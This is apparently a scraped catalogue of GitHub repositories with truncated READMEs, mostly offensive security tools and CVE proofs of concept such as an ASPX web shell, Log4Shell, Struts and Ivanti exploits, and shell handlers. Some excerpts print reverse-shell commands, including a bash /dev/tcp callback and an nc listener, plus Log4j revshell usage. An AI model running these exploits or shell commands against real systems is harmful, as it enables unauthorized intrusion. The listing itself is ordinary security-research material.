ASPX_WebShell_COFFLoader

ASPX Web Shell with COFF Loader Based on TrustedSec's CSCOFFLoader Description This ASPX web shell enables execution of Beacon Object Files BOFs on a target server using a semi-interactive Python client. It leverages a COFF loader implementation derived from TrustedSec’s CSCOFFLoader. This projec...

larac2shell

LaraC2 Shell -- MDE Live Response Interactive Shell Cross-platform interactive shell for Microsoft Defender for Endpoint Live Response. Feature| Detail ---|--- Platform| PowerShell Core 7.0+ Windows, Linux, macOS API modes| Internal portal, near-realtime and Official public, stateless Execution|...

CVE-2018-11776

CVE-2018-11776 Environment for CVE-2018-11776 / S2-057 Demo Run server $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Exploit $ nc -l 10000 or nc -lp 10000 $ python3 exploit.py localhost:30080 'bash -i & /dev/tcp/192.168.33.1/10000 0&1'...

One-Lin3r

One-Lin3r One-Lin3r is simple modular and light-weight framework gives you all the one-liners that you will need while penetration testing Windows, Linux, macOS or even BSD systems or hacking generally with a lot of new features to make all of this fully automated ex: you won't even need to copy...

cve-2015-1538-1

Included is a python script that generates an MP4 exploiting the ‘stsc’ vulnerability otherwise known as CVE-2015-1538 1. This is one of the most critical vulnerabilities I reported in the Stagefright library. The expected result of the exploit is a reverse shell as the media user. As detailed in...

CVE-2025-22457

PoC for CVE-2025-22457 A remote unauthenticated stack based buffer overflow affecting Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure, and ZTA Gateways Overview This is a proof of concept exploit to demonstrate exploitation of CVE-2025-22457. For a complete technical analysis of...

libfwsi

libfwsi is a library to access the Windows Shell Item format. Project information: Status: experimental Licence: LGPL-3.0-or-later For more information see: Project documentation: https://github.com/libyal/libfwsi/wiki/Home How to build from source: https://github.com/libyal/libfwsi/wiki/Building...

PoC-Deployer-System

PoC-Deployer-System A visualization tool based on CVE-2024-31317 for Zygote injection, integrating remote terminal and file transfer capabilities. Binder-CLI - Access system services via binder Screenshots UID/GID Injection| Advanced Features| Reverse Shell ---|---|--- | | Quick Start Requirement...

tpwn-bis

tpwn-bis simple poc for cve-2015-5932 / cve-2015-5847 / cve-2015-5864 now escalates to root and spawns a shell. a big thanks to @qwertyoruiop for original code and help!...

hackersh

======== Hackersh Hackersh "Hacker Shell" is a shell command interpreter written in Python with Pythonect-like syntax, builtin security commands, and out of the box wrappers for various security tools. Hello, world Here is the canonical "Hello, world" example program in Hackersh::...

CVE-2004-1561

CVE-2004-1561 Icecast Header Overwrite buffer overflow RCE Update for 568-edit.c Managed to get the original exploit to work. Edited according to this. Usage for 568-edit.c root@Kali:/TryHackme/Ice gcc 568-edit.c -o 568 root@Kali:/TryHackme/Ice ./568 192.168.92.133 Icecast = 2.0.1 Win32 remote co...

psc

PortShellCrypter -- PSC This project - as well as its sister project crash - belongs to my anti-censorship tool-set that allows to setup fully working encrypted shells and TCP/UDP forwarding in hostile censoring environments. It is also useful for forensics to dump data from devices via UART or...

CVE-2019-18935-bypasswaf

CVE-2019-18935-bypasswaf Modified from the original project: https://github.com/noperator/CVE-2019-18935 1. The attack malicious payload is passed from the cookie 2. Metadata data is passed in through an encrypted interface and deserialized 3. Default proxy 127.0.0.1:8080 4. Default attack payloa...

CVE-2021-22205

CVE-2021-22205 CVE-2021-22205 RCE tool is only for sharing and communication. Do not use for unauthorized testing, otherwise the author is not responsible. -R string VPS to load tools eg: -R 127.0.0.1:8083 -T string Tool name eg: -T fscan -c string exec cmd eg: -c "id" default "id" -host string...

penelope

Penelope is a modern shell handler for penetration testers and CTF players. It provides a more capable alternative to basic netcat listeners, adding automatic PTY upgrades, session management, logging, file transfers and helper modules. Table of Contents 📥 Installation ⚙️ Features 🖥️ Session...

CVE-2016-3088

Apache ActiveMQ PUT RCE One-Click GetShell usage:python3 CVE-2016-3088.py -u https://tartget.com/...

CVE-2021-44228

CVE-2021-44228 Log4Shell Proof of Concept CVE-2021-44228 Make sure to use Java 8 JDK. Java 8 Download Images Credits Casey Dunham - Java Reverse Shell kozmer - Initial PoC Legal The author of this script does NOT take any responsibility of how this piece of code is used! This was created solely...

htrace.sh

Description htrace.sh is a shell script for http/https troubleshooting and profiling. It's also a simple wrapper around several open source security tools. For a more detailed understanding of htrace.sh, its parameters, functions and how it all works, run htrace.sh --examples or see the Wiki...

CVE-2023-26469

CVE-2023-26469 REC PoC This repository contains an exploit script for CVE-2023-26469, which allows an attacker to leverage path traversal to access files and execute code on a server running Jorani 1.0.0. Additionally, the script includes shell upload functionality for further exploitation...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell Usage For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p...